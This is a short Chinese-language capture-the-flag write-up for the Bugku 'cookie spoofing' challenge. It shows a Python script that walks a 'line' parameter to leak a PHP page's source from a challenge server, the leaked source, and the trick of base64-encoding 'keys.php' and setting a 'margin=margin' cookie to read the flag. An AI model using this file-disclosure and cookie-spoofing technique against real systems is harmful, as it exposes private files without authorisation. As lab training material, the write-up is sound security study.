1. 程式人生 > >Bugku——cookies欺騙

Bugku——cookies欺騙

URL的中的base64解碼為keys.txt。 猜測檔名都是以base64的方式使用的。 key.txt的內容有些不明所以,乾脆去索引頁面(index.php)看看原始碼。 index.php用base64加密後替換key.txt的base64,頁面存在卻沒有內容,檢視原始碼發現只有<?php ,說明原始碼需要加引數遍歷。 發現給引數line一個個傳入值才有原始碼,寫指令碼遍歷出原始碼

import requests
a = 40
for i in range(a):
    url = 'http://120.24.86.145:8002/web11/index.php?line=%d&filename=aW5kZXgucGhw=' % i
    r = requests.get(url)
    print r.text

原始碼如下:

<?php
error_reporting(0);
$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");
$line=isset($_GET['line'])?intval($_GET['line']):0;
if($file=='')
header("location:index.php?line=&filename=a2V5cy50eHQ=");

$file_list = array(
'0' =>'keys.txt',
'1' =>'index.php',
);

if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin')
{
  $file_list[2]='keys.php';
}
if(in_array($file, $file_list))
{
$fa = file($file);
echo $fa[$line];
}

根據原始碼的意思,我們將keys.php用base64加密後替換原base64,再用burpsuite使cookie傳入值margin=margin 即可得到flag。